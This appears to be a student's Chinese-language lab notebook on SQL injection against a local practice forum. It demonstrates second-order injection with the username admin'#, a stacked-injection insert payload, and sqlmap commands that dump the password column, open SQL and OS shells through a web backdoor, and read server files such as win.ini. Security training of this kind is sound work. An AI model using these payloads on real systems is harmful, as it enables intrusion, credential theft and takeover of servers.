2-03SQL注入漏洞------------2

二次盲注

⼆次注⼊是指已存储(数据库、⽂件)的⽤户输⼊被读取后,再次进⼊到SQL查询语句中导致 的注⼊

几乎所有任何网站后台都有一个用户叫admin 密码123456 先注册一个新的用户

admin-123456

碰撞用户账户

-刺探成功

我自己去注册一个 admin'#

登录admin'#,然后修改密码--记一下改后的是456789

-这是之前 刷新后,改变的是admin的密码,admin'#没有变

查看原因

源码 \bbs\member\updatePwd.php

bash 复制代码
update users set password=md5('123456')wherename='admin'#'

简单来说就是sql的数据库语法 注释掉后面的内容 比如# 还有一个--也是

堆叠注入

在SQL数据库中,每条语句是以;分开的,堆叠注⼊就是⼀次性注⼊并执⾏多条语句(多语句之间以分号 隔开)的注⼊⽅式。(故事:地铁出站套票⼀次性进两个⼈)

union联合查询注⼊执⾏的语句类型是有限的,可以⽤来执⾏查询语句。堆叠注⼊可以执⾏的是任意的语句,如增删改等

要堆叠,知道那个表结构用前面知识点获取表名字段名

然后

sql 复制代码
?id=2;insert into users (name,password) values('ddd',md5('ddd'));

堆叠不止 insert 还有delete 还有update

SQLMap

sqlmap是⼀个开源的渗透测试⼯具,它可以⾃动化检测和利⽤SQL注⼊漏洞并接管数据库服务器。它有 ⼀个强⼤的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项 如果平时要探测bbs这个网站 这不得看看自己物理机ip

##SQLMap检测漏洞--探测目标网站有没有sql注入漏洞

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1'

有这些东西 就代表着这些东西漏洞都是存在的--PHP具体版本 Apache

查询bbs网站当前数据库;当前数据库 --current-db

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --current-db

查看bbs网站的库有哪些表

kali 复制代码
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt --tables

当前表有哪些字段 列

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users --columns

列出内容

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users -C password --dump#卡住的话不停的敲回⻋输⼊y

过程就是y到底,有一个选择字典,直接回车就行,然后在努力哈希破解

和老师的不太一样 但是 无所谓了先 得到那些密码

可以后期自己哈希解去 第三个解的很慢是因为我前面 做堆叠的时候改了admin的密码456789

老师的就长这样

扩展操作

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --sql-shell

退出语句

密码爆破

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --password

系统命令

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --os-shell

该靶机的 web 应用技术是PHP 5.4.45,选择与当前 web 语言匹配的 "PHP" 选项,才能成功创建 web 后门并获取操作系统命令行 shell。

文件读取

出了问题

成功版本👇我把这个文件名称改了一下就行了,疑似第一次创的时候带入了奇怪字符或者电脑缓存没到位

arduino 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt"

中间做的努力有

先执行基础注入命令,确认id参数确实存在 SQL 注入漏洞,避免在无效注入点上尝试高权限操作

lua 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --dbs

然后得出

添加-v 3参数(详细输出执行过程),sqlmap 会显示文件读取过程中的具体错误(如「权限不足」「路径被禁止」),方便定位问题

arduino 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt" -v 3

得出

放弃自定义的e.txt,先尝试读取靶机系统默认存在、且权限宽松的文件,验证文件读取功能是否可用:

bash 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "C:/Windows/win.ini"

文件读取功能本身是正常的(因为成功读到了C:/Windows/win.ini),问题只出在「靶机上的E:/e.txt实际不存在 / 路径错误」

具体分析如下: 能成功读取靶机的C:/Windows/win.ini,说明:

  • 数据库用户有FILE权限
  • secure_file_priv配置无限制
  • 操作系统层面的文件读取权限正常 所以改了个名字成功了

回归主题

返回让我访问这个文件的内容

'/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt'

文件路径有了

bash 复制代码
cat '/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt' 

WAF安全狗

不要再物理机上装安全狗,会拖垮php, 卸载不掉就先这样吧

相关推荐
Lee川1 分钟前
从异步迷雾到优雅流程:JavaScript异步编程与内存管理的现代化之旅
javascript·面试
晴殇i2 小时前
揭秘JavaScript中那些“不冒泡”的DOM事件
前端·javascript·面试
绝无仅有2 小时前
Redis过期删除与内存淘汰策略详解
后端·面试·架构
绝无仅有3 小时前
Redis大Key问题排查与解决方案全解析
后端·面试·架构
AAA梅狸猫4 小时前
Looper.loop() 循环机制
面试
AAA梅狸猫4 小时前
Handler基本概念
面试
Wect4 小时前
浏览器缓存机制
前端·面试·浏览器
掘金安东尼5 小时前
Fun with TypeScript Generics:玩转 TS 泛型
前端·javascript·面试
掘金安东尼5 小时前
Next.js 企业级落地
前端·javascript·面试
掘金安东尼5 小时前
React 性能优化完全指南 2026
前端·javascript·面试